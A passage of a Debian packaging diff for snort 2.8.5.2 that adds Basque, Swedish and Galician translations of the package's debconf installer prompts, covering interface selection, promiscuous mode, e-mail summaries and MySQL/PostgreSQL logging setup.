+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Konfigurazio errorea"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"Dagoen Snort konfigurazioa baliogabea da eta Snort behar bezala abiaraztea "
+"ezintzen du. Mesedez egiaztatu eta konpondu ezazu."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Snort konfigurazio fitxategian errore bat aztertzeko '/usr/sbin/snort -T -c "
+"<fitxategia>' erabili."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Zaharkitutako konfigurazio fitxategia"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Sistema honek automatikoki konfigurazio formatu berrira (/etc/default/snort-"
+"en) bihurtu den zaharkituriko konfigurazio fitxategi bat erabiltzen du (/etc/"
+"snort/snort.common.parameters)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Mesedez gainbegiratu konfigurazio berria eta kendu zaharra. Zuk hau egin "
+"arte abiarazte skriptak ez du konfigurazio berria erabiliko eta ez duzu "
+"bertsio berrietan sartutako hobetzeen erabilerarik egingo."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Datubase bat konfiguratu snort-mysql bertan erregistratzeko?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Ez da datubaserik konfiguratu Snort-ek bertan erregistroa egiteko. Aurrera "
+"jarraitu haurretik hurrengo hauek betetzen dituzula ziurtatu:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - zerbitari ostalari-izena (zerbitzari horrek makina honetako TCP \n"
+"   konexioak onartu behar ditu);\n"
+" - datubase bat zerbitzari horretan;\n"
+" - datubase hori erabili ahal izateko erabiltzaile eta pasahitz bat."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Eskakizun hauetako batenbat falta bada, baztertu aukera hau eta fitxategi "
+"bidezko erregistro onarpen arruntaz exekutatu."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Datubase erregistroa beranduago konfiguratu daiteke 'dpkg-reconfigure -plow "
+"snort-mysql' exekutatuaz."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Datubase zerbitzari ostalari-izena:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Mesedez ezarri ostalari honetatik konexioak onartzen dituen datubase "
+"zerbitzariaren ostalari izena."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Datu-base izena:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Mesedez ezarri datubase erabiltzaileak idazketa baimena duen sorturiko "
+"datubase baten izena."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Datubasea atzitzeko erabiltzaile-izena:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Mesedez ezarri datubasean idazketa baimena duen datubase zerbitzari "
+"erabiltzaile izen bat."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Datubase konexiorako pasahitza:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Mesedez idatzi Snort alerta datubasera konektatzeko etabiliko den pasahitza."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Konfiguratutako datubasea beharrezkoa Snort erabiltzeko"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort-ek konfiguratutako datubase bat behar du behar bezala abiarazteko. "
+"Egitura sortu ahala izateko hurrengo komandoak exekutatu behar dituzu "
+"paketea instalatu AURRETIK:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <erabiltzailea> -h <ostalaria> -p <datubase-"
+"izena>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Bete erabiltzaile, ostalari eta datubase izenaren balio zuzenak. MySQL-k "
+"pasahitza eskatuko dizu."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Behin datubase egitura sortu duzunean, Snort eskuz abiarazi beharko duzu."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Datubase bat konfiguratu snort-pgsql bertan erregistratzeko?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Datubase erregistroa beranduago berkonfiguratu daiteke 'dpkg-reconfigure -"
+"plow snort-pgsql' exekutatuaz."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <erabiltzailea> -h <ostalaria> -W "
+"<datubase-izena>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Bete erabiltzaile, ostalari eta datubase izenaren balio zuzenak. PostgreSQL -"
+"k pasahitza eskatuko dizu."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Zaharkitutako konfigurazio fitxategia"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Snort konfigurazio fitxategiak (/etc/snort/snort.conf) Snort bertsio onetan "
+"onartzen ez diren zaharkituriko aukerak erabiltzen ditu. Snort ez da "
+"abiarazteko gai izango zuk konfigurazio zuzen bat sortu arte. Edo onartu "
+"pakete honek dakarren konfigurazio fitxategiaz ordeztea edo eskuz konpondu "
+"zaharkituriko aukerak kenduaz."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Hurrengo zaharkituriko aukerak aurkitu dira konfigurazio fitxategian: "
+"${DEP_CONFIG}"
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Snort eskuz exekutatzen ari zara"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Errore bat aurkitu da zure konfigurazioan"
--- snort-2.8.5.2.orig/debian/po/sv.po
+++ snort-2.8.5.2/debian/po/sv.po
@@ -0,0 +1,491 @@
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+# Developers do not need to manually edit POT or PO files.
+#
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort 2.3.3-1\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-07-21 17:41+0100\n"
+"Last-Translator: Martin Bagge <brother@bsnet.se>\n"
+"Language-Team: Swedish <sv@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=iso-8859-1\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001
+#: ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "uppstart"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001
+#: ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "uppringt"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001
+#: ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manuell"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002
+#: ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Hur ska Snort starta:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002
+#: ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort can be started during boot, when connecting to the net with pppd or only manually with the /usr/sbin/snort command."
+msgstr "Snort kan startas vid uppstart, när uppkoppling mot nätverk sker (pppd) eller bara när du manuellt startat den med /usr/sbin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001
+#: ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "På vilket/vilka gränssnitt ska Snort lyssna?"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001
+#: ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "This value is usually 'eth0', but this may be inappropriate in some network environments; for a dialup connection 'ppp0' might be more appropiate (see the output of '/sbin/ifconfig')."
+msgstr "Detta värde är oftast 'eth0' men det kan vara fel i en del nätverksmiljöer. För uppringd anslutning bör 'ppp0' användas (se vidare utdatat från '/sbin/ifconfig')"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001
+#: ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Typically, this is the same interface as the 'default route' is on. You can determine which interface is used for this by running '/sbin/route -n' (look for '0.0.0.0')."
+msgstr "Observera att Snort är normalt konfigurerad att inspektera all trafik som kommer från Internet så gränssnittet du lägger till här är normalt det samma som din standardgateway är på.  Du kan ta fram denna information genom att köra \"/sbin/route -n\" (leta efter \"0.0.0.0\")."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001
+#: ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "It is also not uncommon to use an interface with no IP address configured in promiscuous mode. For such cases, select the interface in this system that is physically connected to the network that should be inspected, enable promiscuous mode later on and make sure that the network traffic is sent to this interface (either connected to a 'port mirroring/spanning' port in a switch, to a hub or to a tap)."
+msgstr "Det är inte helt ovanligt att köra Snort på ett gränssnitt utan IP-adress och som är konfigurerat i läget promiscuous. Om det är det du vill, välj gränssnittet på detta system som är fysiskt kopplad till nätverket du vill inspektera. Aktivera promiscuousläget efter det och kontrollera att nätverkstrafiken skickas till detta gränssnitt (antingen kopplade till en \"port mirror/spanning\"-port i en switch, en hubb eller en nätverkstapp)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001
+#: ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "You can configure multiple interfaces, just by adding more than one interface name separated by spaces. Each interface can have its own specific configuration."
+msgstr "Du kan konfigurera flera gränssnitt här, bara att lägga till fler än ett gränssnittsnamn separerade med blanksteg. Varje gränssnitt kan ha sin egen specifika konfiguration."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001
+#: ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Ange adressintervallet som Snort ska lyssna på."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001
+#: ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 addresses or 192.168.1.42/32 for just one. Multiple values should be comma-separated (without spaces)."
+msgstr "Du ska använda CIDR-formatet, till exempel 192.168.1.0/24 för ett block av 256 IP-adresser eller 192.168.1.42/32 för bara en av dem. Ange flera adresser på samma rad separerade med \",\" (kommatecken), blanksteg är inte tillåtna!"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001
+#: ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Please note that if Snort is configured to use multiple interfaces, it will use this value as the HOME_NET definition for all of them."
+msgstr "Observera att om du använder flera gränssnitt kommer denna definition att användas som HOME_NET-definition på alla."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001
+#: ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Ska Snort inaktivera promiscuousläget på gränssnittet?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001
+#: ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Disabling promiscuous mode means that Snort will only see packets addressed to the interface it is monitoring. Enabling it allows Snort to check every packet that passes the Ethernet segment even if it's a connection between two other computers."
+msgstr "Inaktivering av promiscuousläget betyder att Snort bara kommer att se paket adresserade till sitt eget gränssnitt. Aktivering av det tillåter Snort att undersöka varje paket som passerar Ethernet-segmentet även om det är anslutning mellan två andra datorer."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001
+#: ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Ogiltigt gränssnitt"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001
+#: ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Snort is trying to use an interface which does not exist or is down. Either it is defaulting inappropriately to 'eth0', or you specified one which is invalid."
+msgstr "Snort försöker använda en nätverksanslutning som inte existerar eller som inte är uppkopplad. Antingen så har standardvärdet 'eth0' smugit sig in eller så har du angivit en felaktig anslutning."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001
+#: ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Ska testordningen för reglerna i Snort ändras til Pass|Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001
+#: ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Snort's default testing order is Alert|Pass|Log; if you accept this option, the order will be changed to Pass|Alert|Log, which can make it simpler to use Snort with some packet-filtering tools."
+msgstr "Standardvärdet för Snorts tester är Alert|Pass|Log. Om du väljer detta alternativ så kommer ordningen att ändras till Pass|Alert|Log, vilket kan underlätta användadet av Snort tillsammans med en del paketfiltreringsverktyg."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001
+#: ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Ska dagliga sammandrag skickas via e-post?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001
+#: ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "A cron job can be set up to send daily summaries of Snort logs to a selected e-mail address."
+msgstr "Ett cron-jobb kan ställas in för att sända dagliga summeringar av Snorts logfiler till en förvald e-post-adress."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001
+#: ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Vänligen ange om du vill aktivera denna funktionen."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001
+#: ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Vem ska ta emot de dagliga e-postrapporterna?"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001
+#: ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Please specify the e-mail address that should receive daily summaries of Snort logs."
+msgstr "Vänligen ange e-post-adressen som ska få dagliga summeringar av Snorts logfiler."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001
+#: ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Ytterligare alternativ"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001
+#: ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Ange ytterligare inställningar som Snort ska använda."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001
+#: ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Minsta antalet förekomster innan varningar skickas:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001
+#: ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Please enter the minimum number of alert occurrences before a given alert is included in the daily statistics."
+msgstr "Ett larm behöver dyka upp fler gånger än denna siffra för att bli inkluderade i den dagliga rapporten."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001
+#: ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Snort måste startas om"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001
+#: ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "As Snort is manually launched, you need to run '/etc/init.d/snort' for the changes to take place."
+msgstr "I och med att Snort körs manuellt så måste du köra '/etc/init.d/snort' för att ändringarna ska aktiveras."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001
+#: ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Fel i inställningar"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001
+#: ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "The current Snort configuration is invalid and will prevent Snort starting up normally. Please review and correct it."
+msgstr "Nuvarande inställningar för Snort är felaktiga och kommer att förhindra Snort från att starta på ett korrekt sätt. Vänligen kontrollera inställningarna och rätta felen."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001
+#: ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -c <file>'."
+msgstr "För att hitta fel i Snorts inställningar används kommandot '/usr/sbin/snort -T -c <fil>'."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001
+#: ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Detta system använder en gammal konfigurationsfil"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001
+#: ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "This system uses an obsolete configuration file (/etc/snort/snort.common.parameters) which has been automatically converted into the new configuration file format (at /etc/default/snort)."
+msgstr "Ditt system har en gammal konfigurationsfil (/etc/snort/snort.common.parameters) vilken har blivit automatiskt konverterad till en ny konfigurationsfil med nytt format (i /etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001
+#: ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Please review the new configuration and remove the obsolete one. Until you do this, the initialization script will not use the new configuration and you will not take advantage of the benefits introduced in newer releases."
+msgstr "Kontrollera den nya konfiguration och ta bort den gamla. Fram till att du gör detta kommer init.d-skriptet inte använda den nya konfigurationen och du kan inte använda de nya fördelarna i den nya versionen."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Vill du konfigurera en databas för snort-mysql att logga till?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+#: ../snort-pgsql.templates:14001
+msgid "No database has been set up for Snort to log to. Before continuing, you should make sure you have:"
+msgstr "Ingen databas har ställts in för Snorts loggningsfunktioner. Du måste ha följande innan du fortsätter:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+#: ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - serverns värdnamn (servern måste tillåta TCP-anslutningar\n"
+"   från denna maskinen.\n"
+" - en databas på den servern.\n"
+" - ett användarnamn och ett lösenord för att komma åt databasen."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+#: ../snort-pgsql.templates:14001
+msgid "If some of these requirements are missing, reject this option and run with regular file logging support."
+msgstr "Om du inte har alla uppgifter ännu kan du hoppa över att ställa in detta nu och använda dig av vanlig loggning till fil."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Database logging can be reconfigured later by running 'dpkg-reconfigure -plow snort-mysql'."
+msgstr "Loggning till databas kan aktiveras vid ett senare tillfälle genom att köra 'dpkg-reconfigure -plow snort-mysql'."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001
+#: ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Värdnamn för databas:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001
+#: ../snort-pgsql.templates:15001
+msgid "Please specify the host name of a database server that allows incoming connections from this host."
+msgstr "Ange värdnan på databasservern och att den  tillåter inkommande uppkopplingar från denna värd."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001
+#: ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Databasnamn:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001
+#: ../snort-pgsql.templates:16001
+msgid "Please specify the name of an existing database to which the database user has write access."
+msgstr "Ange ett namn på en existerande databas som den här användaren har skrivrättigheter till."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001
+#: ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Användarnamn för databas:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001
+#: ../snort-pgsql.templates:17001
+msgid "Please specify a database server username with write access to the database."
+msgstr "Kontrollera att din databasanvändare har skrivrättigheter till denna databas."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001
+#: ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Ange lösenordet för databasuppkopplingen."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001
+#: ../snort-pgsql.templates:18001
+msgid "Please enter the password to use to connect to the Snort Alert database."
+msgstr "Ange ett lösenord för uppkoppling mot Snorts larmdatabas."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+#: ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Databasen måste förberedas för Snort före användning."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+#: ../snort-pgsql.templates:19001
+msgid "Snort needs a configured database before it can successfully start up. In order to create the structure you need to run the following commands AFTER the package is installed:"
+msgstr "Snort behöver en konfigurerad databas innan den kan starta korrekt. För att skapa databasstrukturen behöver du köra följande kommandon EFTER att paketet har installerats:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <användarnamn> -h <värdnamn> -p <databasnamn>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid "Fill in the correct values for the user, host, and database names. MySQL will prompt you for the password."
+msgstr "Ange de korrekta värdena för användare, värd och databasens namn. MySQL kommer att fråga efter lösenordet."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+#: ../snort-pgsql.templates:19001
+msgid "After you have created the database structure, you will need to start Snort manually."
+msgstr "Efter att du skapat databasstrukturen behöver du starta Snort manuellt."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Vill du konfigurera en databas för snort-pgsql att logga till?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Database logging can be reconfigured later by running 'dpkg-reconfigure -plow snort-pgsql'."
+msgstr "Loggning till databas kan aktiveras vid ett senare tillfälle genom att köra 'dpkg-reconfigure -plow snort-pgsql'."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <användarnamn> -h <värdnamn> -W <databasnamn>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid "Fill in the correct values for the user, host, and database names. PostgreSQL will prompt you for the password."
+msgstr "Ange de korrekta värdena för användare, värd och databasens namn. PostgreSQL kommer att fråga efter lösenordet."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Detta system använder en gammal konfigurationsfil"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "The Snort configuration file (/etc/snort/snort.conf) uses deprecated options no longer available for this Snort release. Snort will not be able to start unless you provide a correct configuration file. Either allow the configuration file to be replaced with the one provided in this package or fix it manually by removing deprecated options."
+msgstr "Din Snort-konfigurationsfil (/etc/snort/snort.conf) använder gamla inställningar som inte längre används i denna Snort-utgåva.  Snort kan inte starta om du har felaktigheter i konfigurationsfilen. Du kan byta ut din konfigurationsfil mot den som följer med detta paket eller lösa problemet manuellt genom att ta bort de felaktiga inställningarna."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "The following deprecated options were found in the configuration file: ${DEP_CONFIG}"
+msgstr "De följande inställningarna som hittades i din konfigurationsfil är inte längre giltiga: ${DEP_CONFIG}"
+
--- snort-2.8.5.2.orig/debian/po/gl.po
+++ snort-2.8.5.2/debian/po/gl.po
@@ -0,0 +1,799 @@
+# Galician translation of snort's debconf templates
+# This file is distributed under the same license as the snort package.
+# Jacobo Tarrio <jtarrio@debian.org>, 2007, 2008.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-06 20:22+0100\n"
+"Last-Translator: Jacobo Tarrio <jtarrio@debian.org>\n"
+"Language-Team: Galician <proxecto@trasno.net>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "inicio"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "conexión"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manual"
+
+#. Type: select
+#. Description
